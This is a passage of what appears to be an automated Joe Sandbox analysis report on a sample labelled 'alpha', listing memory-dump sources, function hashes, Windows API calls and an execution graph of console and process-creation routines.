                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID: 3$3
                                                                                      • API String ID: 0-2538865259
                                                                                      • Opcode ID: b8f86acd81ff1c6da407d28336be8d8a1ddaaa1636690dcce93971c28c339212
                                                                                      • Instruction ID: 2723258db98d48c9ab5a96222334d120ad26507d749040488a477a6231744fd0
                                                                                      • Opcode Fuzzy Hash: b8f86acd81ff1c6da407d28336be8d8a1ddaaa1636690dcce93971c28c339212
                                                                                      • Instruction Fuzzy Hash: BE011373D0E9828BF318BB60E984678F660FF54311FF44175E50E295A2DF2C6899C662
                                                                                      Function 00007FF78CF506C0 Relevance: 5.1, APIs: 4, Instructions: 97memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF506D6
                                                                                      • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF506F0
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF5074D
                                                                                      • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF50762
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$AllocProcess
                                                                                      • String ID:
                                                                                      • API String ID: 1617791916-0
                                                                                      • Opcode ID: cb757f755a027b81a776796b91978963b45d8166734cf522aad66d61178eecf0
                                                                                      • Instruction ID: 3cdc74ef695837155414687ed01302ed9fcc700143c81be1e03eb650fa358dfd
                                                                                      • Opcode Fuzzy Hash: cb757f755a027b81a776796b91978963b45d8166734cf522aad66d61178eecf0
                                                                                      • Instruction Fuzzy Hash: C6413773A0A642C6FA14AF20F44417ABBA0FF85B80BA88034DB4E47794DF3CE545CB60

                                                                                      Execution Graph

                                                                                      Execution Coverage:5.7%
                                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                                      Signature Coverage:0%
                                                                                      Total number of Nodes:603
                                                                                      Total number of Limit Nodes:22
                                                                                      execution_graph 16723 7ff78cf58d80 16724 7ff78cf58da4 16723->16724 16725 7ff78cf58db6 16724->16725 16726 7ff78cf58dbf Sleep 16724->16726 16727 7ff78cf58ddb _amsg_exit 16725->16727 16730 7ff78cf58de7 16725->16730 16726->16724 16727->16730 16728 7ff78cf58e73 _IsNonwritableInCurrentImage 16737 7ff78cf537d8 GetCurrentThreadId OpenThread 16728->16737 16729 7ff78cf58e56 _initterm 16729->16728 16730->16728 16730->16729 16732 7ff78cf58e3c 16730->16732 16770 7ff78cf504f4 16737->16770 16739 7ff78cf53839 HeapSetInformation RegOpenKeyExW 16740 7ff78cf5388d 16739->16740 16741 7ff78cf5e9f8 RegQueryValueExW RegCloseKey 16739->16741 16742 7ff78cf55920 VirtualQuery VirtualQuery 16740->16742 16744 7ff78cf5ea41 GetThreadLocale 16741->16744 16743 7ff78cf538ab GetConsoleOutputCP GetCPInfo 16742->16743 16743->16744 16745 7ff78cf538f1 memset 16743->16745 16760 7ff78cf53919 16744->16760 16745->16760 16746 7ff78cf54d5c 391 API calls 16746->16760 16747 7ff78cf5eb27 _setjmp 16747->16760 16748 7ff78cf53948 _setjmp 16748->16760 16749 7ff78cf43240 166 API calls 16749->16760 16750 7ff78cf501b8 6 API calls 16750->16760 16751 7ff78cf54c1c 166 API calls 16751->16760 16752 7ff78cf5eb71 _setmode 16752->16760 16753 7ff78cf68530 370 API calls 16753->16760 16754 7ff78cf586f0 182 API calls 16754->16760 16755 7ff78cf50580 12 API calls 16756 7ff78cf5398b GetConsoleOutputCP GetCPInfo 16755->16756 16758 7ff78cf504f4 GetModuleHandleW GetProcAddress SetThreadLocale 16756->16758 16757 7ff78cf558e4 EnterCriticalSection LeaveCriticalSection 16757->16760 16758->16760 16759 7ff78cf4be00 647 API calls 16759->16760 16760->16741 16760->16746 16760->16747 16760->16748 16760->16749 16760->16750 16760->16751 16760->16752 16760->16753 16760->16754 16760->16755 16760->16757 16760->16759 16761 7ff78cf4df60 481 API calls 16760->16761 16762 7ff78cf558e4 EnterCriticalSection LeaveCriticalSection 16760->16762 16761->16760 16763 7ff78cf5ebbe GetConsoleOutputCP GetCPInfo 16762->16763 16764 7ff78cf504f4 GetModuleHandleW GetProcAddress SetThreadLocale 16763->16764 16765 7ff78cf5ebe6 16764->16765 16766 7ff78cf4be00 647 API calls 16765->16766 16767 7ff78cf50580 12 API calls 16765->16767 16766->16765 16768 7ff78cf5ebfc GetConsoleOutputCP GetCPInfo 16767->16768 16769 7ff78cf504f4 GetModuleHandleW GetProcAddress SetThreadLocale 16768->16769 16769->16760 16771 7ff78cf50504 16770->16771 16772 7ff78cf5051e GetModuleHandleW 16771->16772 16773 7ff78cf5054d GetProcAddress 16771->16773 16774 7ff78cf5056c SetThreadLocale 16771->16774 16772->16771 16773->16771 22191 7ff78cf4b8c0 22194 7ff78cf4be00 22191->22194 22195 7ff78cf4b8d4 22194->22195 22196 7ff78cf4be1b 22194->22196 22196->22195 22197 7ff78cf4be67 22196->22197 22198 7ff78cf4be47 memset 22196->22198 22200 7ff78cf4be73 22197->22200 22202 7ff78cf4bf29 22197->22202 22203 7ff78cf4beaf 22197->22203 22300 7ff78cf4bff0 22198->22300 22201 7ff78cf4be92 22200->22201 22206 7ff78cf4bf0c 22200->22206 22212 7ff78cf4bea1 22201->22212 22228 7ff78cf4c620 GetConsoleTitleW 22201->22228 22204 7ff78cf4cd90 166 API calls 22202->22204 22203->22195 22209 7ff78cf4bff0 185 API calls 22203->22209 22205 7ff78cf4bf33 22204->22205 22205->22203 22210 7ff78cf4bf70 22205->22210 22213 7ff78cf488a8 _wcsicmp 22205->22213 22338 7ff78cf4b0d8 memset 22206->22338 22209->22195 22222 7ff78cf4bf75 22210->22222 22398 7ff78cf471ec 22210->22398 22212->22203 22218 7ff78cf4af98 2 API calls 22212->22218 22217 7ff78cf4bf5a 22213->22217 22214 7ff78cf4bf1e 22214->22203 22216 7ff78cf4bfa9 22216->22203 22219 7ff78cf4cd90 166 API calls 22216->22219 22217->22210 22220 7ff78cf50a6c 273 API calls 22217->22220 22218->22203 22221 7ff78cf4bfbb 22219->22221 22220->22210 22221->22203 22223 7ff78cf5081c 166 API calls 22221->22223 22224 7ff78cf4b0d8 194 API calls 22222->22224 22223->22222 22225 7ff78cf4bf7f 22224->22225 22225->22203 22271 7ff78cf55ad8 22225->22271 22230 7ff78cf4c675 22228->22230 22235 7ff78cf4ca2f 22228->22235 22229 7ff78cf5c5fc GetLastError 22229->22235 22232 7ff78cf4ca40 17 API calls 22230->22232 22231 7ff78cf43278 166 API calls 22231->22235 22241 7ff78cf4c69b 22232->22241 22233 7ff78cf5855c ??_V@YAXPEAX 22233->22235 22234 7ff78cf5291c 8 API calls 22259 7ff78cf4c762 22234->22259 22235->22229 22235->22231 22235->22233 22236 7ff78cf4c9b5 22240 7ff78cf5855c ??_V@YAXPEAX 22236->22240 22237 7ff78cf489c0 23 API calls 22237->22259 22238 7ff78cf4c978 towupper 22238->22259 22239 7ff78cf5855c ??_V@YAXPEAX 22239->22259 22260 7ff78cf4c855 22240->22260 22241->22235 22241->22236 22243 7ff78cf4d3f0 223 API calls 22241->22243 22241->22259 22242 7ff78cf5c60e 22244 7ff78cf6ec14 173 API calls 22242->22244 22245 7ff78cf4c741 22243->22245 22244->22259 22248 7ff78cf4c74d 22245->22248 22250 7ff78cf4c8b5 wcsncmp 22245->22250 22246 7ff78cf4c872 22249 7ff78cf5855c ??_V@YAXPEAX 22246->22249 22247 7ff78cf5c6b8 SetConsoleTitleW 22247->22246 22254 7ff78cf4bd38 207 API calls 22248->22254 22248->22259 22251 7ff78cf4c87c 22249->22251 22250->22248 22250->22259 22252 7ff78cf58f80 7 API calls 22251->22252 22255 7ff78cf4c88e 22252->22255 22253 7ff78cf4c83d 22404 7ff78cf4cb40 22253->22404 22254->22259 22255->22212 22257 7ff78cf4c78a wcschr 22257->22259 22259->22229 22259->22234 22259->22235 22259->22236 22259->22237 22259->22238 22259->22239 22259->22242 22259->22253 22259->22257 22261 7ff78cf4ca25 22259->22261 22263 7ff78cf5c684 22259->22263 22266 7ff78cf4ca2a 22259->22266 22268 7ff78cf4ca16 GetLastError 22259->22268 22260->22246 22260->22247 22264 7ff78cf43278 166 API calls 22261->22264 22265 7ff78cf43278 166 API calls 22263->22265 22264->22235 22265->22235 22267 7ff78cf59158 7 API calls 22266->22267 22267->22235 22270 7ff78cf43278 166 API calls 22268->22270 22270->22235 22272 7ff78cf4cd90 166 API calls 22271->22272 22273 7ff78cf55b12 22272->22273 22274 7ff78cf4cb40 166 API calls 22273->22274 22299 7ff78cf55b8b 22273->22299 22276 7ff78cf55b26 22274->22276 22275 7ff78cf58f80 7 API calls 22277 7ff78cf4bf99 22275->22277 22278 7ff78cf50a6c 273 API calls 22276->22278 22276->22299 22277->22212 22279 7ff78cf55b43 22278->22279 22280 7ff78cf55bb8 22279->22280 22281 7ff78cf55b48 GetConsoleTitleW 22279->22281 22282 7ff78cf55bbd GetConsoleTitleW 22280->22282 22283 7ff78cf55bf4 22280->22283 22284 7ff78cf4cad4 172 API calls 22281->22284 22288 7ff78cf4cad4 172 API calls 22282->22288 22285 7ff78cf55bfd 22283->22285 22286 7ff78cf5f452 22283->22286 22287 7ff78cf55b66 22284->22287 22292 7ff78cf55c1b 22285->22292 22293 7ff78cf5f462 22285->22293 22285->22299 22290 7ff78cf53c24 166 API calls 22286->22290 22420 7ff78cf54224 InitializeProcThreadAttributeList 22287->22420 22291 7ff78cf55bdb 22288->22291 22290->22299 22480 7ff78cf496e8 22291->22480 22296 7ff78cf43278 166 API calls 22292->22296 22297 7ff78cf43278 166 API calls 22293->22297 22294 7ff78cf55b7f 22298 7ff78cf55c3c SetConsoleTitleW 22294->22298 22296->22299 22297->22299 22298->22299 22299->22275 22301 7ff78cf4c0c4 22300->22301 22302 7ff78cf4c01c 22300->22302 22301->22197 22303 7ff78cf4c086 22302->22303 22304 7ff78cf4c022 22302->22304 22307 7ff78cf4c144 22303->22307 22320 7ff78cf4c094 22303->22320 22305 7ff78cf4c113 22304->22305 22306 7ff78cf4c030 22304->22306 22313 7ff78cf4ff70 2 API calls 22305->22313 22318 7ff78cf4c053 22305->22318 22308 7ff78cf4c039 wcschr 22306->22308 22306->22318 22309 7ff78cf4c151 22307->22309 22326 7ff78cf4c1c8 22307->22326 22310 7ff78cf4c301 22308->22310 22308->22318 22686 7ff78cf4c460 22309->22686 22314 7ff78cf4cd90 166 API calls 22310->22314 22311 7ff78cf4c058 22322 7ff78cf4ff70 2 API calls 22311->22322 22324 7ff78cf4c073 22311->22324 22312 7ff78cf4c0c6 22317 7ff78cf4c0cf wcschr 22312->22317 22312->22324 22313->22318 22328 7ff78cf4c30b 22314->22328 22316 7ff78cf4c460 183 API calls 22316->22320 22321 7ff78cf4c1be 22317->22321 22317->22324 22318->22311 22318->22312 22329 7ff78cf4c211 22318->22329 22320->22301 22320->22316 22323 7ff78cf4cd90 166 API calls 22321->22323 22322->22324 22323->22326 22324->22301 22325 7ff78cf4c460 183 API calls 22324->22325 22325->22324 22326->22301 22326->22329 22330 7ff78cf4c285 22326->22330 22334 7ff78cf4d840 178 API calls 22326->22334 22327 7ff78cf4c460 183 API calls 22327->22301 22328->22301 22328->22329 22331 7ff78cf4d840 178 API calls 22328->22331 22337 7ff78cf4c3d4 22328->22337 22332 7ff78cf4ff70 2 API calls 22329->22332 22330->22329 22335 7ff78cf4b6b0 170 API calls 22330->22335 22331->22328 22332->22301 22333 7ff78cf4b6b0 170 API calls 22333->22318 22334->22326 22336 7ff78cf4c2ac 22335->22336 22336->22324 22336->22329 22337->22324 22337->22329 22337->22333 22339 7ff78cf4ca40 17 API calls 22338->22339 22354 7ff78cf4b162 22339->22354 22340 7ff78cf4b1d9 22345 7ff78cf4cd90 166 API calls 22340->22345 22361 7ff78cf4b1ed 22340->22361 22341 7ff78cf4b2f7 ??_V@YAXPEAX 22342 7ff78cf4b303 22341->22342 22344 7ff78cf58f80 7 API calls 22342->22344 22343 7ff78cf51ea0 8 API calls 22343->22354 22346 7ff78cf4b315 22344->22346 22345->22361 22346->22201 22346->22214 22348 7ff78cf4b228 _get_osfhandle 22350 7ff78cf4b23f _get_osfhandle 22348->22350 22348->22361 22349 7ff78cf5bfef _get_osfhandle SetFilePointer 22351 7ff78cf5c01d 22349->22351 22349->22361 22350->22361 22353 7ff78cf533f0 _vsnwprintf 22351->22353 22356 7ff78cf5c038 22353->22356 22354->22340 22354->22343 22354->22354 22389 7ff78cf4b2e1 22354->22389 22355 7ff78cf501b8 6 API calls 22355->22361 22360 7ff78cf43278 166 API calls 22356->22360 22357 7ff78cf5c1c3 22358 7ff78cf533f0 _vsnwprintf 22357->22358 22358->22356 22359 7ff78cf4d208 _close 22359->22361 22363 7ff78cf5c1f9 22360->22363 22361->22348 22361->22349 22361->22355 22361->22357 22361->22359 22362 7ff78cf5c060 22361->22362 22364 7ff78cf5c246 22361->22364 22366 7ff78cf4b038 _dup2 22361->22366 22367 7ff78cf526e0 19 API calls 22361->22367 22372 7ff78cf4b356 22361->22372 22361->22389 22397 7ff78cf5c1a5 22361->22397 22700 7ff78cf4affc _dup 22361->22700 22702 7ff78cf6f318 _get_osfhandle GetFileType 22361->22702 22362->22364 22368 7ff78cf509f4 2 API calls 22362->22368 22365 7ff78cf4af98 2 API calls 22363->22365 22369 7ff78cf4af98 2 API calls 22364->22369 22365->22389 22366->22361 22367->22361 22373 7ff78cf5c084 22368->22373 22374 7ff78cf5c24b 22369->22374 22370 7ff78cf4b038 _dup2 22371 7ff78cf5c1b7 22370->22371 22375 7ff78cf5c1be 22371->22375 22376 7ff78cf5c207 22371->22376 22379 7ff78cf4af98 2 API calls 22372->22379 22377 7ff78cf4b900 166 API calls 22373->22377 22378 7ff78cf6f1d8 166 API calls 22374->22378 22380 7ff78cf4d208 _close 22375->22380 22382 7ff78cf4d208 _close 22376->22382 22381 7ff78cf5c08c 22377->22381 22378->22389 22383 7ff78cf5c211 22379->22383 22380->22357 22384 7ff78cf5c094 wcsrchr 22381->22384 22386 7ff78cf5c0ad 22381->22386 22382->22372 22385 7ff78cf533f0 _vsnwprintf 22383->22385 22384->22386 22387 7ff78cf5c22c 22385->22387 22390 7ff78cf5c106 22386->22390 22392 7ff78cf5c0e0 _wcsnicmp 22386->22392 22388 7ff78cf43278 166 API calls 22387->22388 22388->22389 22389->22341 22389->22342 22391 7ff78cf4ff70 2 API calls 22390->22391 22393 7ff78cf5c13b 22391->22393 22392->22386 22393->22364 22394 7ff78cf5c146 SearchPathW 22393->22394 22394->22364 22395 7ff78cf5c188 22394->22395 22396 7ff78cf526e0 19 API calls 22395->22396 22396->22397 22397->22370 22399 7ff78cf47211 _setjmp 22398->22399 22403 7ff78cf47279 22398->22403 22401 7ff78cf47265 22399->22401 22399->22403 22703 7ff78cf472b0 22401->22703 22403->22216 22405 7ff78cf4cb63 22404->22405 22406 7ff78cf4cd90 166 API calls 22405->22406 22407 7ff78cf4c848 22406->22407 22407->22260 22408 7ff78cf4cad4 22407->22408 22409 7ff78cf4cb05 22408->22409 22410 7ff78cf4cad9 22408->22410 22409->22260 22410->22409 22411 7ff78cf4cd90 166 API calls 22410->22411 22412 7ff78cf5c722 22411->22412 22412->22409 22413 7ff78cf5c72e GetConsoleTitleW 22412->22413 22413->22409 22414 7ff78cf5c74a 22413->22414 22415 7ff78cf4b6b0 170 API calls 22414->22415 22419 7ff78cf5c778 22415->22419 22416 7ff78cf5c7ec 22417 7ff78cf4ff70 2 API calls 22416->22417 22417->22409 22418 7ff78cf5c7dd SetConsoleTitleW 22418->22416 22419->22416 22419->22418 22421 7ff78cf542ab UpdateProcThreadAttribute 22420->22421 22422 7ff78cf5ecd4 GetLastError 22420->22422 22424 7ff78cf542eb memset memset GetStartupInfoW 22421->22424 22425 7ff78cf5ecf0 GetLastError 22421->22425 22423 7ff78cf5ecee 22422->22423 22427 7ff78cf53a90 170 API calls 22424->22427 22517 7ff78cf69eec 22425->22517 22429 7ff78cf543a8 22427->22429 22430 7ff78cf4b900 166 API calls 22429->22430 22431 7ff78cf543bb 22430->22431 22432 7ff78cf543cc 22431->22432 22433 7ff78cf54638 _local_unwind 22431->22433 22434 7ff78cf543de wcsrchr 22432->22434 22435 7ff78cf54415 22432->22435 22433->22432 22434->22435 22436 7ff78cf543f7 lstrcmpW 22434->22436 22504 7ff78cf55a68 _get_osfhandle SetConsoleMode _get_osfhandle SetConsoleMode 22435->22504 22436->22435 22438 7ff78cf54668 22436->22438 22505 7ff78cf69044 22438->22505 22439 7ff78cf5441a 22441 7ff78cf5442a CreateProcessW 22439->22441 22443 7ff78cf54596 CreateProcessAsUserW 22439->22443 22442 7ff78cf5448b 22441->22442 22444 7ff78cf54495 CloseHandle 22442->22444 22445 7ff78cf54672 GetLastError 22442->22445 22443->22442 22446 7ff78cf5498c 8 API calls 22444->22446 22449 7ff78cf5468d 22445->22449 22447 7ff78cf544c5 22446->22447 22447->22449 22462 7ff78cf544cd 22447->22462 22448 7ff78cf547a3 22448->22294 22450 7ff78cf4cd90 166 API calls 22449->22450 22449->22462 22451 7ff78cf54724 22450->22451 22453 7ff78cf5472c _local_unwind 22451->22453 22463 7ff78cf5473d 22451->22463 22452 7ff78cf55cb4 7 API calls 22456 7ff78cf54517 22452->22456 22453->22463 22454 7ff78cf547e1 CloseHandle 22455 7ff78cf5461c 22454->22455 22457 7ff78cf4ff70 GetProcessHeap RtlFreeHeap 22455->22457 22458 7ff78cf533f0 _vsnwprintf 22456->22458 22460 7ff78cf547fa DeleteProcThreadAttributeList 22457->22460 22459 7ff78cf54544 22458->22459 22461 7ff78cf5498c 8 API calls 22459->22461 22464 7ff78cf58f80 7 API calls 22460->22464 22466 7ff78cf54558 22461->22466 22462->22448 22467 7ff78cf6a250 33 API calls 22462->22467 22470 7ff78cf544f8 22462->22470 22471 7ff78cf4ff70 GetProcessHeap RtlFreeHeap 22463->22471 22465 7ff78cf54820 22464->22465 22465->22294 22468 7ff78cf547ae 22466->22468 22469 7ff78cf54564 22466->22469 22467->22470 22473 7ff78cf533f0 _vsnwprintf 22468->22473 22472 7ff78cf5498c 8 API calls 22469->22472 22470->22448 22470->22452 22476 7ff78cf54612 22470->22476 22474 7ff78cf5475b _local_unwind 22471->22474 22475 7ff78cf54577 22472->22475 22473->22476 22474->22462 22475->22455 22477 7ff78cf5457f 22475->22477 22476->22454 22476->22455 22478 7ff78cf6a920 210 API calls 22477->22478 22479 7ff78cf54584 22478->22479 22479->22455 22497 7ff78cf49737 22480->22497 22482 7ff78cf4977d memset 22484 7ff78cf4ca40 17 API calls 22482->22484 22483 7ff78cf4cd90 166 API calls 22483->22497 22484->22497 22485 7ff78cf5b76e 22487 7ff78cf43278 166 API calls 22485->22487 22486 7ff78cf5b7b3 22489 7ff78cf5b787 22487->22489 22488 7ff78cf5b79a 22491 7ff78cf5855c ??_V@YAXPEAX 22488->22491 22492 7ff78cf5b795 22489->22492 22494 7ff78cf6e944 393 API calls 22489->22494 22490 7ff78cf4b364 17 API calls 22490->22497 22491->22486 22602 7ff78cf67694 22492->22602 22494->22492 22497->22482 22497->22483 22497->22485 22497->22486 22497->22488 22497->22490 22498 7ff78cf496b4 186 API calls 22497->22498 22499 7ff78cf4986d 22497->22499 22519 7ff78cf51fac memset 22497->22519 22546 7ff78cf4ce10 22497->22546 22596 7ff78cf55920 22497->22596 22498->22497 22500 7ff78cf4988c 22499->22500 22501 7ff78cf49880 ??_V@YAXPEAX 22499->22501 22502 7ff78cf58f80 7 API calls 22500->22502 22501->22500 22503 7ff78cf4989d 22502->22503 22503->22294 22506 7ff78cf53a90 170 API calls 22505->22506 22507 7ff78cf69064 22506->22507 22508 7ff78cf6906e 22507->22508 22509 7ff78cf69083 22507->22509 22510 7ff78cf5498c 8 API calls 22508->22510 22511 7ff78cf4cd90 166 API calls 22509->22511 22516 7ff78cf69081 22510->22516 22512 7ff78cf6909b 22511->22512 22513 7ff78cf5498c 8 API calls 22512->22513 22512->22516 22514 7ff78cf690ec 22513->22514 22515 7ff78cf4ff70 2 API calls 22514->22515 22515->22516 22516->22435 22518 7ff78cf5ed0a DeleteProcThreadAttributeList 22517->22518 22518->22423 22520 7ff78cf5203b 22519->22520 22521 7ff78cf520b0 22520->22521 22522 7ff78cf52094 22520->22522 22523 7ff78cf53060 171 API calls 22521->22523 22525 7ff78cf5211c 22521->22525 22524 7ff78cf520a6 22522->22524 22526 7ff78cf43278 166 API calls 22522->22526 22523->22525 22528 7ff78cf58f80 7 API calls 22524->22528 22525->22524 22527 7ff78cf52e44 2 API calls 22525->22527 22526->22524 22530 7ff78cf52148 22527->22530 22529 7ff78cf52325 22528->22529 22529->22497 22530->22524 22531 7ff78cf52d70 3 API calls 22530->22531 22532 7ff78cf521af 22531->22532 22533 7ff78cf4b900 166 API calls 22532->22533 22535 7ff78cf521d0 22533->22535 22534 7ff78cf5e04a ??_V@YAXPEAX 22534->22524 22535->22534 22536 7ff78cf5221c wcsspn 22535->22536 22545 7ff78cf522a4 ??_V@YAXPEAX 22535->22545 22537 7ff78cf4b900 166 API calls 22536->22537 22539 7ff78cf5223b 22537->22539 22539->22534 22543 7ff78cf52252 22539->22543 22540 7ff78cf5228f 22541 7ff78cf4d3f0 223 API calls 22540->22541 22541->22545 22542 7ff78cf5e06d wcschr 22542->22543 22543->22540 22543->22542 22544 7ff78cf5e090 towupper 22543->22544 22544->22540 22544->22543 22545->22524 22585 7ff78cf4d0f8 22546->22585 22592 7ff78cf4ce5b 22546->22592 22547 7ff78cf58f80 7 API calls 22550 7ff78cf4d10a 22547->22550 22548 7ff78cf5c860 22549 7ff78cf5c97c 22548->22549 22553 7ff78cf6ee88 390 API calls 22548->22553 22552 7ff78cf6e9b4 197 API calls 22549->22552 22550->22497 22551 7ff78cf50494 182 API calls 22551->22592 22554 7ff78cf5c981 longjmp 22552->22554 22555 7ff78cf5c879 22553->22555 22556 7ff78cf5c99a 22554->22556 22557 7ff78cf5c95c 22555->22557 22558 7ff78cf5c882 EnterCriticalSection LeaveCriticalSection 22555->22558 22560 7ff78cf5c9b3 ??_V@YAXPEAX 22556->22560 22556->22585 22557->22549 22561 7ff78cf496b4 186 API calls 22557->22561 22563 7ff78cf4d0e3 22558->22563 22560->22585 22561->22557 22562 7ff78cf4ceaa _tell 22564 7ff78cf4d208 _close 22562->22564 22563->22497 22564->22592 22565 7ff78cf4cd90 166 API calls 22565->22592 22566 7ff78cf5c9d5 22568 7ff78cf6d610 167 API calls 22566->22568 22567 7ff78cf4b900 166 API calls 22567->22592 22569 7ff78cf5c9da 22568->22569 22570 7ff78cf5ca07 22569->22570 22572 7ff78cf6bfec 176 API calls 22569->22572 22571 7ff78cf6e91c 198 API calls 22570->22571 22576 7ff78cf5ca0c 22571->22576 22573 7ff78cf5c9f1 22572->22573 22575 7ff78cf43240 166 API calls 22573->22575 22574 7ff78cf4cf33 memset 22574->22592 22575->22570 22576->22497 22577 7ff78cf4ca40 17 API calls 22577->22592 22578 7ff78cf4d184 wcschr 22578->22592 22579 7ff78cf6bfec 176 API calls 22579->22592 22580 7ff78cf5c9c9 22582 7ff78cf5855c ??_V@YAXPEAX 22580->22582 22581 7ff78cf4d1a7 wcschr 22581->22592 22582->22585 22583 7ff78cf6778c 166 API calls 22583->22592 22584 7ff78cf4be00 635 API calls 22584->22592 22585->22547 22586 7ff78cf50a6c 273 API calls 22586->22592 22587 7ff78cf53448 166 API calls 22587->22592 22588 7ff78cf50580 12 API calls 22590 7ff78cf4d003 GetConsoleOutputCP GetCPInfo 22588->22590 22589 7ff78cf4cfab _wcsicmp 22589->22592 22591 7ff78cf504f4 3 API calls 22590->22591 22591->22592 22592->22548 22592->22551 22592->22556 22592->22563 22592->22565 22592->22566 22592->22567 22592->22574 22592->22577 22592->22578 22592->22579 22592->22580 22592->22581 22592->22583 22592->22584 22592->22585 22592->22586 22592->22587 22592->22588 22592->22589 22594 7ff78cf51fac 238 API calls 22592->22594 22595 7ff78cf4d044 ??_V@YAXPEAX 22592->22595 22608 7ff78cf4df60 22592->22608 22628 7ff78cf6c738 22592->22628 22594->22592 22595->22592 22597 7ff78cf5596c 22596->22597 22601 7ff78cf55a12 22596->22601 22598 7ff78cf5598d VirtualQuery 22597->22598 22597->22601 22600 7ff78cf559ad 22598->22600 22598->22601 22599 7ff78cf559b7 VirtualQuery 22599->22600 22599->22601 22600->22599 22600->22601 22601->22497 22603 7ff78cf676a3 22602->22603 22604 7ff78cf676b7 22603->22604 22605 7ff78cf496b4 186 API calls 22603->22605 22606 7ff78cf6e9b4 197 API calls 22604->22606 22605->22603 22607 7ff78cf676bc longjmp 22606->22607 22609 7ff78cf4df93 22608->22609 22611 7ff78cf4dfe2 22608->22611 22610 7ff78cf4df9f GetProcessHeap RtlFreeHeap 22609->22610 22609->22611 22610->22609 22610->22611 22612 7ff78cf4e100 VirtualFree 22611->22612 22613 7ff78cf4e00b _setjmp 22611->22613 22612->22611 22614 7ff78cf4e04a 22613->22614 22615 7ff78cf4e0c3 22613->22615 22616 7ff78cf4e600 473 API calls 22614->22616 22615->22562 22617 7ff78cf4e073 22616->22617 22618 7ff78cf4e0e0 longjmp 22617->22618 22619 7ff78cf4e081 22617->22619 22621 7ff78cf4e0b0 22618->22621 22620 7ff78cf4d250 475 API calls 22619->22620 22622 7ff78cf4e086 22620->22622 22621->22615 22638 7ff78cf6d3fc 22621->22638 22622->22621 22625 7ff78cf4e600 473 API calls 22622->22625 22626 7ff78cf4e0a7 22625->22626 22626->22621 22627 7ff78cf6d610 167 API calls 22626->22627 22627->22621 22629 7ff78cf6c775 22628->22629 22636 7ff78cf6c7ab 22628->22636 22630 7ff78cf4cd90 166 API calls 22629->22630 22631 7ff78cf6c781 22630->22631 22632 7ff78cf6c8d4 22631->22632 22633 7ff78cf4b0d8 194 API calls 22631->22633 22632->22592 22633->22632 22634 7ff78cf4b6b0 170 API calls 22634->22636 22635 7ff78cf4b038 _dup2 22635->22636 22636->22631 22636->22632 22636->22634 22636->22635 22637 7ff78cf4d208 _close 22636->22637 22637->22636 22639 7ff78cf6d419 22638->22639 22640 7ff78cf6d555 22639->22640 22641 7ff78cf6d592 22639->22641 22642 7ff78cf6d5c4 22639->22642 22648 7ff78cf53448 166 API calls 22639->22648 22650 7ff78cf6d541 22639->22650 22651 7ff78cf5cadf 22639->22651 22654 7ff78cf6d3fc 166 API calls 22639->22654 22663 7ff78cf6d31c 22640->22663 22643 7ff78cf53448 166 API calls 22641->22643 22644 7ff78cf53448 166 API calls 22642->22644 22646 7ff78cf6d5a5 22643->22646 22644->22651 22647 7ff78cf6d5ba 22646->22647 22652 7ff78cf53448 166 API calls 22646->22652 22656 7ff78cf6d36c 22647->22656 22648->22639 22649 7ff78cf6d546 22649->22640 22649->22642 22650->22641 22650->22642 22650->22649 22655 7ff78cf6d589 22650->22655 22652->22647 22654->22639 22655->22640 22655->22641 22657 7ff78cf6d3d8 22656->22657 22658 7ff78cf6d381 22656->22658 22659 7ff78cf534a0 166 API calls 22658->22659 22662 7ff78cf6d390 22659->22662 22660 7ff78cf53448 166 API calls 22660->22662 22661 7ff78cf534a0 166 API calls 22661->22662 22662->22657 22662->22660 22662->22661 22664 7ff78cf53448 166 API calls 22663->22664 22665 7ff78cf6d33b 22664->22665 22666 7ff78cf6d36c 166 API calls 22665->22666 22667 7ff78cf6d343 22666->22667 22668 7ff78cf6d3fc 166 API calls 22667->22668 22673 7ff78cf6d34e 22668->22673 